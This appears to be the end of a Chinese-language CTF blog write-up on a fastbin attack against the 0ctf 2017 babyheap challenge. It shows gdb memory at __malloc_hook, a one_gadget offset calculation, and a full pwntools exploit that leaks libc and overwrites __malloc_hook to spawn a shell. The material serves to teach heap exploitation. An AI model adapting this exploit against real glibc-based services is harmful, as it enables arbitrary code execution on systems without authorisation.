0x7f0f7c16ab0d <__realloc_hook+5>: 0x0f7bdeb26a414141
0x7f0f7c16ab15 <__malloc_hook+5>: 0x000000000000007f

0x7f0f7bda6000+0x4526a=0x7f0f7bdeb26a >one gadget

0x7f0f7c16ab0d <__realloc_hook+5>的数值 = 0x7f0f7bdeb26a

EXP

from pwn import *
context.log_level = 'debug'
#p = remote("node3.buuoj.cn",26611)
libc = ELF("./libc-2.23.so")
p = process("./babyheap_0ctf_2017")

def Allocate(size):
p.sendlineafter("Command: ","1")
p.sendlineafter("Size: ",str(size))

def Fill(idx,content):
p.sendlineafter("Command: ","2")
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(len(content)))
p.sendlineafter("Content: ",content)

def Free(idx):
p.sendlineafter("Command: ","3")
p.sendlineafter("Index: ",str(idx))

def Dump(idx):
p.recvuntil("Command:")
p.sendline("4")
p.recvuntil("Index:")
p.sendline(str(idx))
p.recvuntil('Content: \n')
return p.recvline()

def GDB():
context.terminal = ['tmux','splitw','-h']
gdb.attach(p)

Allocate(0x60)
Allocate(0x30)
Fill(0,"a"*0x60+p64(0)+p64(0x71))
Allocate(0x100)
Fill(2,"a"*0x20+p64(0)+p64(0x71))
Free(1)
Allocate(0x60)
Fill(1,"a"*0x30+p64(0)+p64(0x111))
Allocate(0x60)
Free(2)
print Dump(1)
leak = u64(Dump(1)[-25:-17])
print "leak:"+hex(leak)

base=leak-0x3c4b78
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-35)+p64(0))
Allocate(0x60)
Allocate(0x60)
Fill(2,"A"*(35-8-8)+p64(base+0x4526a))
Allocate(0x10)
p.interactive()
Author: Joe1sn
Link: http://blog.joe1sn.top/2020/heap_learning_part1-Fastbin%20Attack/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信